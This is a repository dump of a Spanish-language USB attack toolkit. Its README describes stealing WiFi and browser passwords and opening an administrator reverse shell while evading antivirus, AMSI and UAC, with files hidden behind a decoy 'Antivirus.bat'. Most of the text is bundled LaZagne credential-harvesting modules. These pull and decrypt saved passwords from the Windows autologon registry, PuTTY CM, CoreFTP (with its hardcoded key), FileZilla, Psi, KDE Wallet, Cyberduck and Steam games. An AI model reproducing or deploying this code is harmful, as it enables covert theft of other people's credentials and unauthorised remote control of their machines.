16 | ModuleInfo.__init__(self, 'autologon', 'windows', registry_used=True, system_module=True)
17 |
18 | def run(self):
19 | pwd_found = []
20 | try:
21 | hkey = OpenKey(HKEY_LOCAL_MACHINE, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon')
22 | if int(winreg.QueryValueEx(hkey, 'AutoAdminLogon')[0]) == 1:
23 | self.debug(u'Autologin enabled')
24 |
25 | keys = {
26 | 'DefaultDomainName': '',
27 | 'DefaultUserName': '',
28 | 'DefaultPassword': '',
29 | 'AltDefaultDomainName': '',
30 | 'AltDefaultUserName': '',
31 | 'AltDefaultPassword': '',
32 | }
33 |
34 | to_remove = []
35 | for k in keys:
36 | try:
37 | keys[k] = str(winreg.QueryValueEx(hkey, k)[0])
38 | except Exception:
39 | to_remove.append(k)
40 |
41 | for r in to_remove:
42 | keys.pop(r)
43 |
44 | if keys:
45 | pwd_found.append(keys)
46 |
47 | except Exception as e:
48 | self.debug(str(e))
49 |
50 | return pwd_found
51 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/sysadmin/puttycm.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | try:
3 | import _winreg as winreg
4 | except ImportError:
5 | import winreg
6 |
7 | from xml.etree.cElementTree import ElementTree
8 |
9 | from lazagne.config.module_info import ModuleInfo
10 | from lazagne.config.winstructure import OpenKey, HKEY_CURRENT_USER, string_to_unicode
11 |
12 | import os
13 |
14 |
15 | class Puttycm(ModuleInfo):
16 | def __init__(self):
17 | ModuleInfo.__init__(self, 'puttycm', 'sysadmin', registry_used=True)
18 |
19 | def run(self):
20 | database_path = self.get_default_database()
21 | if database_path and os.path.exists(database_path):
22 | return self.parse_xml(database_path)
23 |
24 | def get_default_database(self):
25 | try:
26 | key = OpenKey(HKEY_CURRENT_USER, 'Software\\ACS\\PuTTY Connection Manager')
27 | db = string_to_unicode(winreg.QueryValueEx(key, 'DefaultDatabase')[0])
28 | winreg.CloseKey(key)
29 | return db
30 | except Exception:
31 | return False
32 |
33 | def parse_xml(self, database_path):
34 | xml_file = os.path.expanduser(database_path)
35 | tree = ElementTree(file=xml_file)
36 | root = tree.getroot()
37 |
38 | pwd_found = []
39 | elements = ['name', 'protocol', 'host', 'port', 'description', 'login', 'password']
40 | for connection in root.iter('connection'):
41 | children = connection.getchildren()
42 | values = {}
43 | for child in children:
44 | for c in child:
45 | if str(c.tag) in elements:
46 | values[str(c.tag).capitalize()] = str(c.text)
47 |
48 | if values:
49 | pwd_found.append(values)
50 |
51 | return pwd_found
52 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # v3rdug0-USB
2 | Esta herramienta extrae contraseñas WiFi, de todos los navegadores y crea una reverse shell a tu maquina atacante, todo esto sin que ni el antivirus ni el AMSI lo detecten, la reverse shell te la da con permisos de administrador con bypass de UAC. Adaptada para windows.
3 |
4 | ----
5 | Requisitos:
6 | ----
7 | -Tener en el pen-drive instalado python3, así podremos ejecutar esta herramienta en ordenadores que no tengan python instalado.
8 |
9 | -Python3 y con pip instalar la librería de laZagne.
10 |
11 | -Tal y como están los scripts y todo, mantener la misma estructura de directorios, sino tendréis que modificarlo vosotros manualmente
12 |
13 | -Oculta todos los archivos y carpetas menos Antivirus.bat
14 |
15 | -Instalar los requisitos del requirements.txt del laZagne
16 |
17 |
18 | Detalles:
19 | ----
20 | -Para efectuar la reverse shell, obviamente tenéis que poner vuestra ip en el archivo powershell dónde esta configurada la reverse shell
21 |
22 | -Los archivos maliiciosos se pegarán en la variable de entorno TEMP para así poder quitar el USB y seguir teniendo conexión.
23 |
24 | -Para los permisos de administrador no hace falta nada, el bypass de UAC funciona perfectamente.
25 |
26 | -No hay que compilar ningún programa ni nada, todo a base de scripts
27 |
28 | -Obviamente hace falta ponerte a la escucha en tu máquina atacante por el puerto que le indiques
29 |
30 | -El bypass de UAC es el bypass a través de variable de entorno por las scheduled tasks de windows
31 |
32 | Créditos:
33 | ----
34 | -laZagne
35 |
36 | -HelloWorld
37 |
38 | AV Testeados:
39 | ----
40 | -Probado en Avast y en Defender sin problemas, no he podido testearlo en más pero en otros AV lo que podría detectarlo sería el lazagne, podríais quitar el password grabber, pero la reverse shell con bypass AMSI y UAC debería funcionar, podéis dejar los resultados por aquí
41 |
42 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/memory/libkeepass/crypto.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | import hashlib
3 | import struct
4 |
5 | from lazagne.config.crypto.pyaes.aes import AESModeOfOperationECB, AESModeOfOperationCBC
6 | from lazagne.config.winstructure import char_to_int
7 |
8 | AES_BLOCK_SIZE = 16
9 |
10 |
11 | def sha256(s):
12 | """Return SHA256 digest of the string `s`."""
13 | return hashlib.sha256(s).digest()
14 |
15 |
16 | def transform_key(key, seed, rounds):
17 | """Transform `key` with `seed` `rounds` times using AES ECB."""
18 | # create transform cipher with transform seed
19 | cipher = AESModeOfOperationECB(seed)
20 | # transform composite key rounds times
21 | for n in range(0, rounds):
22 | key = b"".join([cipher.encrypt(key[i:i + AES_BLOCK_SIZE]) for i in range(0, len(key), AES_BLOCK_SIZE)])
23 | # return hash of transformed key
24 | return sha256(key)
25 |
26 |
27 | def aes_cbc_decrypt(data, key, enc_iv):
28 | """Decrypt and return `data` with AES CBC."""
29 | cipher = AESModeOfOperationCBC(key, iv=enc_iv)
30 | return b"".join([cipher.decrypt(data[i:i + AES_BLOCK_SIZE]) for i in range(0, len(data), AES_BLOCK_SIZE)])
31 |
32 |
33 | def aes_cbc_encrypt(data, key, enc_iv):
34 | cipher = AESModeOfOperationCBC(key, iv=enc_iv)
35 | return b"".join([cipher.encrypt(data[i:i + AES_BLOCK_SIZE]) for i in range(0, len(data), AES_BLOCK_SIZE)])
36 |
37 |
38 | def unpad(data):
39 | extra = char_to_int(data[-1])
40 | return data[:len(data) - extra]
41 |
42 |
43 | def pad(s):
44 | n = AES_BLOCK_SIZE - len(s) % AES_BLOCK_SIZE
45 | return s + n * struct.pack('b', n)
46 |
47 |
48 | def xor(aa, bb):
49 | """Return a bytearray of a bytewise XOR of `aa` and `bb`."""
50 | result = bytearray()
51 | for a, b in zip(bytearray(aa), bytearray(bb)):
52 | result.append(a ^ b)
53 | return result
54 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/softwares/sysadmin/filezilla.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | import os
5 | import base64
6 |
7 | from xml.etree.cElementTree import ElementTree
8 |
9 | from lazagne.config.module_info import ModuleInfo
10 | from lazagne.config import homes
11 |
12 |
13 | class Filezilla(ModuleInfo):
14 | def __init__(self):
15 | ModuleInfo.__init__(self, 'filezilla', 'sysadmin')
16 |
17 | def run(self):
18 |
19 | pwd_found = []
20 | for xml_file in homes.get(file=[
21 | os.path.join(d, f)
22 | for d in ('.filezilla', '.config/filezilla')
23 | for f in ('sitemanager.xml', 'recentservers.xml', 'filezilla.xml')
24 | ]):
25 |
26 | if os.path.exists(xml_file):
27 | tree = ElementTree(file=xml_file)
28 | servers = tree.findall('Servers/Server') if tree.findall('Servers/Server') else tree.findall(
29 | 'RecentServers/Server')
30 |
31 | for server in servers:
32 | host = server.find('Host')
33 | port = server.find('Port')
34 | login = server.find('User')
35 | password = server.find('Pass')
36 |
37 | if host is not None and port is not None and login is not None:
38 | values = {
39 | 'Host': host.text,
40 | 'Port': port.text,
41 | 'Login': login.text,
42 | }
43 |
44 | if password is not None:
45 | if 'encoding' in password.attrib and password.attrib['encoding'] == 'base64':
46 | values['Password'] = base64.b64decode(password.text)
47 | else:
48 | values['Password'] = password.text
49 |
50 | pwd_found.append(values)
51 |
52 | return pwd_found
53 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/config/crypto/pbkdf2.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | # A simple implementation of pbkdf2 using stock python modules. See RFC2898
4 | # for details. Basically, it derives a key from a password and salt.
5 |
6 | # (c) 2004 Matt Johnston
7 | # This code may be freely used and modified for any purpose.
8 |
9 | import hmac
10 | import hashlib
11 | import sys
12 |
13 | from struct import pack
14 |
15 | BLOCKLEN = 20
16 |
17 |
18 | def char_to_int(string):
19 | if sys.version_info[0] == 2 or isinstance(string, str):
20 | return ord(string)
21 | else:
22 | return string # Python 3
23 |
24 | def chr_or_byte(integer):
25 | if sys.version_info[0] == 2:
26 | return chr(integer)
27 | else:
28 | return bytes([integer]) # Python 3
29 |
30 |
31 | # this is what you want to call.
32 | def pbkdf2(password, salt, itercount, keylen):
33 | # l - number of output blocks to produce
34 | l = keylen / BLOCKLEN
35 | if keylen % BLOCKLEN != 0:
36 | l += 1
37 |
38 | h = hmac.new(password, None, hashlib.sha1)
39 |
40 | T = b''
41 | for i in range(1, int(l) + 1):
42 | T += pbkdf2_F(h, salt, itercount, i)
43 |
44 | return T[: -(BLOCKLEN - keylen % BLOCKLEN)]
45 |
46 |
47 | def xorstr(a, b):
48 | if len(a) != len(b):
49 | raise "xorstr(): lengths differ"
50 |
51 | ret = b''
52 | for i in range(len(a)):
53 | ret += chr_or_byte(char_to_int(a[i]) ^ char_to_int(b[i]))
54 |
55 | return ret
56 |
57 |
58 | def prf(h, data):
59 | hm = h.copy()
60 | hm.update(data)
61 | return hm.digest()
62 |
63 |
64 | # Helper as per the spec. h is a hmac which has been created seeded with the
65 | # password, it will be copy()ed and not modified.
66 | def pbkdf2_F(h, salt, itercount, blocknum):
67 | U = prf(h, salt + pack('>i', blocknum))
68 | T = U
69 |
70 | for i in range(2, itercount + 1):
71 | U = prf(h, U)
72 | T = xorstr(T, U)
73 |
74 | return T
75 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/games/turba.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | import os
4 |
5 | try:
6 | import _winreg as winreg
7 | except ImportError:
8 | import winreg
9 |
10 | import lazagne.config.winstructure as win
11 | from lazagne.config.module_info import ModuleInfo
12 | from lazagne.config.winstructure import string_to_unicode
13 |
14 |
15 | class Turba(ModuleInfo):
16 | def __init__(self):
17 | ModuleInfo.__init__(self, 'turba', 'games', registry_used=True)
18 |
19 | def run(self):
20 | creds = []
21 | results = None
22 |
23 | # Find the location of steam - to make it easier we're going to use a try block
24 | # 'cos I'm lazy
25 | try:
26 | with win.OpenKey(win.HKEY_CURRENT_USER, 'Software\Valve\Steam') as key:
27 | results = winreg.QueryValueEx(key, 'SteamPath')
28 | except Exception:
29 | pass
30 |
31 | if results:
32 | steampath = string_to_unicode(results[0])
33 | steamapps = os.path.join(steampath, u'SteamApps\common')
34 |
35 | # Check that we have a SteamApps directory
36 | if not os.path.exists(steamapps):
37 | self.error(u'Steam doesn\'t have a SteamApps directory.')
38 | return
39 |
40 | filepath = os.path.join(steamapps, u'Turba\\Assets\\Settings.bin')
41 |
42 | if not os.path.exists(filepath):
43 | self.debug(u'Turba doesn\'t appear to be installed.')
44 | return
45 |
46 | # If we're here we should have a valid config file file
47 | with open(filepath, mode='rb') as filepath:
48 | # We've found a config file, now extract the creds
49 | data = filepath.read()
50 | chunk = data[0x1b:].split('\x0a')
51 | creds.append({
52 | 'Login': chunk[0],
53 | 'Password': chunk[1]
54 | })
55 | return creds
56 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/games/galconfusion.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | import os
4 |
5 | try:
6 | import _winreg as winreg
7 | except ImportError:
8 | import winreg
9 |
10 | import lazagne.config.winstructure as win
11 | from lazagne.config.module_info import ModuleInfo
12 | from lazagne.config.winstructure import string_to_unicode
13 |
14 |
15 | class GalconFusion(ModuleInfo):
16 | def __init__(self):
17 | ModuleInfo.__init__(self, 'galconfusion', 'games', registry_used=True)
18 |
19 | def run(self):
20 | creds = []
21 | results = None
22 |
23 | # Find the location of steam - to make it easier we're going to use a try block
24 | # 'cos I'm lazy
25 | try:
26 | with win.OpenKey(win.HKEY_CURRENT_USER, 'Software\\Valve\\Steam') as key:
27 | results = winreg.QueryValueEx(key, 'SteamPath')
28 | except Exception:
29 | pass
30 |
31 | if results:
32 | steampath = string_to_unicode(results[0])
33 | userdata = os.path.join(steampath, u'userdata')
34 |
35 | # Check that we have a userdata directory
36 | if not os.path.exists(userdata):
37 | self.error(u'Steam doesn\'t have a userdata directory.')
38 | return
39 |
40 | # Now look for Galcon Fusion in every user
41 | for f in os.listdir(userdata):
42 | filepath = os.path.join(userdata, string_to_unicode(f), u'44200\\remote\\galcon.cfg')
43 | if not os.path.exists(filepath):
44 | continue
45 |
46 | # If we're here we should have a Galcon Fusion file
47 | with open(filepath, mode='rb') as cfgfile:
48 | # We've found a config file, now extract the creds
49 | data = cfgfile.read()
50 | creds.append({
51 | 'Login': data[4:0x23],
52 | 'Password': data[0x24:0x43]
53 | })
54 |
55 | return creds
56 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/config/lib/memorpy/BaseProcess.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: UTF8 -*-
3 |
4 | import struct
5 |
6 | from .utils import *
7 |
8 |
9 | """ Base class for process not linked to any platform """
10 |
11 | class ProcessException(Exception):
12 | pass
13 |
14 | class BaseProcess(object):
15 |
16 | def __init__(self, *args, **kwargs):
17 | """ Create and Open a process object from its pid or from its name """
18 | self.h_process = None
19 | self.pid = None
20 | self.isProcessOpen = False
21 | self.buffer = None
22 | self.bufferlen = 0
23 |
24 | def __del__(self):
25 | self.close()
26 |
27 | def close(self):
28 | pass
29 | def iter_region(self, *args, **kwargs):
30 | raise NotImplementedError
31 | def write_bytes(self, address, data):
32 | raise NotImplementedError
33 |
34 | def read_bytes(self, address, bytes = 4):
35 | raise NotImplementedError
36 |
37 | def get_symbolic_name(self, address):
38 | return '0x%08X' % int(address)
39 |
40 | def read(self, address, type = 'uint', maxlen = 50, errors='raise'):
41 | if type == 's' or type == 'string':
42 | s = self.read_bytes(int(address), bytes=maxlen)
43 |
44 | try:
45 | idx = s.index(b'\x00')
46 | return s[:idx]
47 | except:
48 | if errors == 'ignore':
49 | return s
50 |
51 | raise ProcessException('string > maxlen')
52 |
53 | else:
54 | if type == 'bytes' or type == 'b':
55 | return self.read_bytes(int(address), bytes=maxlen)
56 | s, l = type_unpack(type)
57 | return struct.unpack(s, self.read_bytes(int(address), bytes=l))[0]
58 |
59 | def write(self, address, data, type = 'uint'):
60 | if type != 'bytes':
61 | s, l = type_unpack(type)
62 | return self.write_bytes(int(address), struct.pack(s, data))
63 | else:
64 | return self.write_bytes(int(address), data)
65 |
66 |
67 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/config/lib/memorpy/BaseProcess.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: UTF8 -*-
3 |
4 | import struct
5 |
6 | from .utils import *
7 |
8 |
9 | """ Base class for process not linked to any platform """
10 |
11 | class ProcessException(Exception):
12 | pass
13 |
14 | class BaseProcess(object):
15 |
16 | def __init__(self, *args, **kwargs):
17 | """ Create and Open a process object from its pid or from its name """
18 | self.h_process = None
19 | self.pid = None
20 | self.isProcessOpen = False
21 | self.buffer = None
22 | self.bufferlen = 0
23 |
24 | def __del__(self):
25 | self.close()
26 |
27 | def close(self):
28 | pass
29 | def iter_region(self, *args, **kwargs):
30 | raise NotImplementedError
31 | def write_bytes(self, address, data):
32 | raise NotImplementedError
33 |
34 | def read_bytes(self, address, bytes = 4):
35 | raise NotImplementedError
36 |
37 | def get_symbolic_name(self, address):
38 | return '0x%08X' % int(address)
39 |
40 | def read(self, address, type = 'uint', maxlen = 50, errors='raise'):
41 | if type == 's' or type == 'string':
42 | s = self.read_bytes(int(address), bytes=maxlen)
43 |
44 | try:
45 | idx = s.index(b'\x00')
46 | return s[:idx]
47 | except:
48 | if errors == 'ignore':
49 | return s
50 |
51 | raise ProcessException('string > maxlen')
52 |
53 | else:
54 | if type == 'bytes' or type == 'b':
55 | return self.read_bytes(int(address), bytes=maxlen)
56 | s, l = type_unpack(type)
57 | return struct.unpack(s, self.read_bytes(int(address), bytes=l))[0]
58 |
59 | def write(self, address, data, type = 'uint'):
60 | if type != 'bytes':
61 | s, l = type_unpack(type)
62 | return self.write_bytes(int(address), struct.pack(s, data))
63 | else:
64 | return self.write_bytes(int(address), data)
65 |
66 |
67 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/sysadmin/coreftp.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | import binascii
3 | try:
4 | import _winreg as winreg
5 | except ImportError:
6 | import winreg
7 |
8 | from lazagne.config.crypto.pyaes.aes import AESModeOfOperationECB
9 | from lazagne.config.module_info import ModuleInfo
10 | from lazagne.config.winstructure import OpenKey, HKEY_CURRENT_USER
11 |
12 |
13 | class CoreFTP(ModuleInfo):
14 | def __init__(self):
15 | ModuleInfo.__init__(self, 'coreftp', 'sysadmin')
16 |
17 | self._secret = b"hdfzpysvpzimorhk"
18 |
19 | def decrypt(self, hex):
20 | encoded = binascii.unhexlify(hex)
21 | aes = AESModeOfOperationECB(self._secret)
22 | decrypted = aes.decrypt(encoded)
23 | return decrypted.split(b'\x00')[0]
24 |
25 | def run(self):
26 | key = None
27 | pwd_found = []
28 | try:
29 | key = OpenKey(HKEY_CURRENT_USER, 'Software\\FTPware\\CoreFTP\\Sites')
30 | except Exception as e:
31 | self.debug(str(e))
32 |
33 | if key:
34 | num_profiles = winreg.QueryInfoKey(key)[0]
35 | elements = ['Host', 'Port', 'User', 'PW']
36 | for n in range(num_profiles):
37 | name_skey = winreg.EnumKey(key, n)
38 | skey = OpenKey(key, name_skey)
39 | num = winreg.QueryInfoKey(skey)[1]
40 | values = {}
41 | for nn in range(num):
42 | k = winreg.EnumValue(skey, nn)
43 | if k[0] in elements:
44 | if k[0] == 'User':
45 | values['Login'] = k[1]
46 | pwd_found.append(values)
47 | if k[0] == 'PW':
48 | try:
49 | values['Password'] = self.decrypt(k[1])
50 | except Exception as e:
51 | self.debug(str(e))
52 | else:
53 | values[k[0]] = k[1]
54 |
55 | winreg.CloseKey(skey)
56 | winreg.CloseKey(key)
57 |
58 | return pwd_found
59 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/softwares/chats/psi.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | import os
3 | from xml.etree.cElementTree import ElementTree
4 | from itertools import cycle
5 |
6 | from lazagne.config.module_info import ModuleInfo
7 | from lazagne.config import homes
8 |
9 |
10 | class PSI(ModuleInfo):
11 | def __init__(self):
12 | self.pwd_found = []
13 |
14 | ModuleInfo.__init__(self, 'psi-im', 'chats')
15 |
16 | def get_profiles_files(self):
17 | for profile_dir in homes.get(directory=[u'.config/psi/profiles', u'.local/psi+/profiles']):
18 | try:
19 | subdirs = os.listdir(profile_dir)
20 | except Exception:
21 | continue
22 |
23 | for subdir in subdirs:
24 | login_data = os.path.join(profile_dir, subdir, 'accounts.xml')
25 | if os.path.isfile(login_data):
26 | yield login_data
27 |
28 | # Thanks to https://github.com/jose1711/psi-im-decrypt
29 | def decode_password(self, password, jid):
30 | result = ''
31 | jid = cycle(jid)
32 | for n1 in range(0, len(password), 4):
33 | x = int(password[n1:n1 + 4], 16)
34 | result += chr(x ^ ord(next(jid)))
35 |
36 | return result
37 |
38 | def process_one_file(self, _path):
39 | root = ElementTree(file=_path).getroot()
40 |
41 | for item in root:
42 | if item.tag == '{http://psi-im.org/options}accounts':
43 | for acc in item:
44 | values = {}
45 |
46 | for x in acc:
47 | if x.tag == '{http://psi-im.org/options}jid':
48 | values['Login'] = x.text
49 |
50 | elif x.tag == '{http://psi-im.org/options}password':
51 | values['Password'] = x.text
52 |
53 | values['Password'] = self.decode_password(values['Password'], values['Login'])
54 |
55 | if values:
56 | self.pwd_found.append(values)
57 |
58 | def run(self):
59 | for one_file in self.get_profiles_files():
60 | self.process_one_file(one_file)
61 |
62 | return self.pwd_found
63 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/chats/psi.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | import os
3 | from xml.etree.cElementTree import ElementTree
4 | from glob import glob
5 | from itertools import cycle
6 |
7 | from lazagne.config.constant import constant
8 | from lazagne.config.module_info import ModuleInfo
9 | from lazagne.config.winstructure import char_to_int
10 |
11 |
12 | class PSI(ModuleInfo):
13 | def __init__(self):
14 | self.pwd_found = []
15 |
16 | ModuleInfo.__init__(self, 'psi-im', 'chats')
17 |
18 | def get_profiles_files(self):
19 | _dirs = (
20 | u'psi\\profiles\\*\\accounts.xml',
21 | u'psi+\\profiles\\*\\accounts.xml',
22 | )
23 |
24 | for one_dir in _dirs:
25 | _path = os.path.join(constant.profile['APPDATA'], one_dir)
26 | accs_files = glob(_path)
27 | for one_file in accs_files:
28 | yield one_file
29 |
30 | # Thanks to https://github.com/jose1711/psi-im-decrypt
31 | def decode_password(self, password, jid):
32 | result = ''
33 | jid = cycle(jid)
34 | for n1 in range(0, len(password), 4):
35 | x = int(password[n1:n1 + 4], 16)
36 | result += chr(x ^ char_to_int(next(jid)))
37 |
38 | return result
39 |
40 | def process_one_file(self, _path):
41 | root = ElementTree(file=_path).getroot()
42 |
43 | for item in root:
44 | if item.tag == '{http://psi-im.org/options}accounts':
45 | for acc in item:
46 | values = {}
47 |
48 | for x in acc:
49 | if x.tag == '{http://psi-im.org/options}jid':
50 | values['Login'] = x.text
51 |
52 | elif x.tag == '{http://psi-im.org/options}password':
53 | values['Password'] = x.text
54 |
55 | values['Password'] = self.decode_password(values['Password'], values['Login'])
56 |
57 | if values:
58 | self.pwd_found.append(values)
59 |
60 | def run(self):
61 | for one_file in self.get_profiles_files():
62 | self.process_one_file(one_file)
63 |
64 | return self.pwd_found
65 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/sysadmin/filezilla.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | import base64
3 |
4 | from xml.etree.cElementTree import ElementTree
5 |
6 | from lazagne.config.module_info import ModuleInfo
7 | from lazagne.config.constant import constant
8 |
9 | import os
10 |
11 |
12 | class Filezilla(ModuleInfo):
13 | def __init__(self):
14 | ModuleInfo.__init__(self, 'filezilla', 'sysadmin')
15 |
16 | def run(self):
17 | path = os.path.join(constant.profile['APPDATA'], u'FileZilla')
18 | if os.path.exists(path):
19 | pwd_found = []
20 | for file in [u'sitemanager.xml', u'recentservers.xml', u'filezilla.xml']:
21 |
22 | xml_file = os.path.join(path, file)
23 | if os.path.exists(xml_file):
24 | tree = ElementTree(file=xml_file)
25 | if tree.findall('Servers/Server'):
26 | servers = tree.findall('Servers/Server')
27 | else:
28 | servers = tree.findall('RecentServers/Server')
29 |
30 | for server in servers:
31 | host = server.find('Host')
32 | port = server.find('Port')
33 | login = server.find('User')
34 | password = server.find('Pass')
35 |
36 | # if all((host, port, login)) does not work
37 | if host is not None and port is not None and login is not None:
38 | values = {
39 | 'Host': host.text,
40 | 'Port': port.text,
41 | 'Login': login.text,
42 | }
43 |
44 | if password is not None:
45 | if 'encoding' in password.attrib and password.attrib['encoding'] == 'base64':
46 | values['Password'] = base64.b64decode(password.text)
47 | else:
48 | values['Password'] = password.text
49 |
50 | if values:
51 | pwd_found.append(values)
52 |
53 | return pwd_found
54 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/softwares/wallet/kde.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | #######################
5 | #
6 | # By Quentin HARDY
7 | #
8 | #######################
9 |
10 | from lazagne.config.module_info import ModuleInfo
11 | from lazagne.config import homes
12 |
13 |
14 | class Kde(ModuleInfo):
15 | def __init__(self):
16 | self.appid = 'Get KDE keyring'
17 | self.bus_info = [
18 | ('org.kde.kwalletd', '/modules/kwalletd'),
19 | ('org.kde.kwalletd5', '/modules/kwalletd5')
20 | ]
21 | ModuleInfo.__init__(self, 'kwallet', 'wallet')
22 |
23 | def run(self):
24 |
25 | try:
26 | import dbus
27 | except Exception as e:
28 | self.error('kwallet: {error}'.format(error=e))
29 | return []
30 |
31 | pwd_found = []
32 | for _, session in homes.sessions():
33 | try:
34 | bus = dbus.bus.BusConnection(session)
35 |
36 | if 'org.kde.kwalletd' not in [str(x) for x in bus.list_names()]:
37 | continue
38 |
39 | for info in self.bus_info:
40 | kwallet_object = bus.get_object(info[0], info[1])
41 |
42 | wallet = dbus.Interface(kwallet_object, 'org.kde.KWallet')
43 | handle = wallet.open(wallet.networkWallet(), 0, self.appid)
44 |
45 | if handle:
46 | for folder in wallet.folderList(handle, self.appid):
47 | for entry in wallet.entryList(handle, folder, self.appid):
48 | password_list = wallet.readPasswordList(handle, folder, entry, self.appid)
49 | for plist in password_list.items():
50 | pwd_found.append({
51 | 'Folder': str(folder),
52 | 'Login': str(plist[0]),
53 | 'Password': str(plist[1]),
54 | })
55 |
56 | except Exception as e:
57 | self.error(e)
58 | continue
59 |
60 | bus.flush()
61 | bus.close()
62 |
63 | return pwd_found
64 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/sysadmin/cyberduck.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | import base64
3 |
4 | from xml.etree.cElementTree import ElementTree
5 |
6 | from lazagne.config.module_info import ModuleInfo
7 | from lazagne.config.winstructure import Win32CryptUnprotectData
8 | from lazagne.config.constant import constant
9 | from lazagne.config.winstructure import string_to_unicode
10 |
11 | import os
12 |
13 |
14 | class Cyberduck(ModuleInfo):
15 | def __init__(self):
16 | ModuleInfo.__init__(self, 'cyberduck', 'sysadmin', winapi_used=True)
17 |
18 | # find the user.config file containing passwords
19 | def get_application_path(self):
20 | directory = os.path.join(constant.profile['APPDATA'], u'Cyberduck')
21 | if os.path.exists(directory):
22 | for dr in os.listdir(directory):
23 | if dr.startswith(u'Cyberduck'):
24 | for d in os.listdir(os.path.join(directory, string_to_unicode(dr))):
25 | path = os.path.join(directory, string_to_unicode(dr), string_to_unicode(d), u'user.config')
26 | return path
27 |
28 | def run(self):
29 | xml_file = self.get_application_path()
30 | if xml_file and os.path.exists(xml_file):
31 | tree = ElementTree(file=xml_file)
32 |
33 | pwd_found = []
34 | for elem in tree.iter():
35 | try:
36 | if elem.attrib['name'].startswith('ftp') or elem.attrib['name'].startswith('ftps') \
37 | or elem.attrib['name'].startswith('sftp') or elem.attrib['name'].startswith('http') \
38 | or elem.attrib['name'].startswith('https'):
39 | encrypted_password = base64.b64decode(elem.attrib['value'])
40 | password_bytes = Win32CryptUnprotectData(encrypted_password, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi)
41 | pwd_found.append({
42 | 'URL': elem.attrib['name'],
43 | 'Password': password_bytes.decode("utf-8"),
44 | })
45 | except Exception as e:
46 | self.debug(str(e))
47 |
48 | return pwd_found
49 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/config/constant.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | import tempfile
3 | import random
4 | import string
5 | import time
6 | import os
7 |
8 | date = time.strftime("%d%m%Y_%H%M%S")
9 | tmp = tempfile.gettempdir()
10 |
11 |
12 | class constant():
13 | folder_name = '.'
14 | file_name_results = 'credentials_{current_time}'.format(
15 | current_time=date
16 | ) # The extension is added depending on the user output choice
17 | max_help = 27
18 | CURRENT_VERSION = '2.4.4'
19 | output = None
20 | modules_dic = {}
21 | nb_password_found = 0 # Total password found
22 | password_found = [] # Tab containing all passwords used for dictionary attack
23 | stdout_result = [] # Tab containing all results by user
24 | pypykatz_result = {}
25 | finalResults = {}
26 | profile = {
27 | 'APPDATA': u'{drive}:\\Users\\{user}\\AppData\\Roaming\\',
28 | 'USERPROFILE': u'{drive}:\\Users\\{user}\\',
29 | 'HOMEDRIVE': u'{drive}:',
30 | 'HOMEPATH': u'{drive}:\\Users\\{user}',
31 | 'ALLUSERSPROFILE': u'{drive}:\\ProgramData',
32 | 'COMPOSER_HOME': u'{drive}:\\Users\\{user}\\AppData\\Roaming\\Composer\\',
33 | 'LOCALAPPDATA': u'{drive}:\\Users\\{user}\\AppData\\Local',
34 | }
35 | username = u''
36 | keepass = {}
37 | hives = {
38 | 'sam': os.path.join(
39 | tmp,
40 | ''.join([random.choice(string.ascii_lowercase) for x in range(0, random.randint(6, 12))])),
41 | 'security': os.path.join(
42 | tmp,
43 | ''.join([random.choice(string.ascii_lowercase) for x in range(0, random.randint(6, 12))])),
44 | 'system': os.path.join(
45 | tmp,
46 | ''.join([random.choice(string.ascii_lowercase) for x in range(0, random.randint(6, 12))]))
47 | }
48 | quiet_mode = False
49 | st = None # Standard output
50 | drive = u'C'
51 | user_dpapi = None
52 | system_dpapi = None
53 | lsa_secrets = None
54 | is_current_user = False # If True, Windows API are used otherwise dpapi is used
55 | user_password = None
56 | wifi_password = False # Check if the module as already be done
57 | module_to_exec_at_end = {
58 | "winapi": [],
59 | "dpapi": [],
60 | }
61 | dpapi_cache = {}
--------------------------------------------------------------------------------
/Tools/Mac/lazagne/config/crypto/pyaes/__init__.py:
--------------------------------------------------------------------------------
1 | # The MIT License (MIT)
2 | #
3 | # Copyright (c) 2014 Richard Moore
4 | #
5 | # Permission is hereby granted, free of charge, to any person obtaining a copy
6 | # of this software and associated documentation files (the "Software"), to deal
7 | # in the Software without restriction, including without limitation the rights
8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | # copies of the Software, and to permit persons to whom the Software is
10 | # furnished to do so, subject to the following conditions:
11 | #
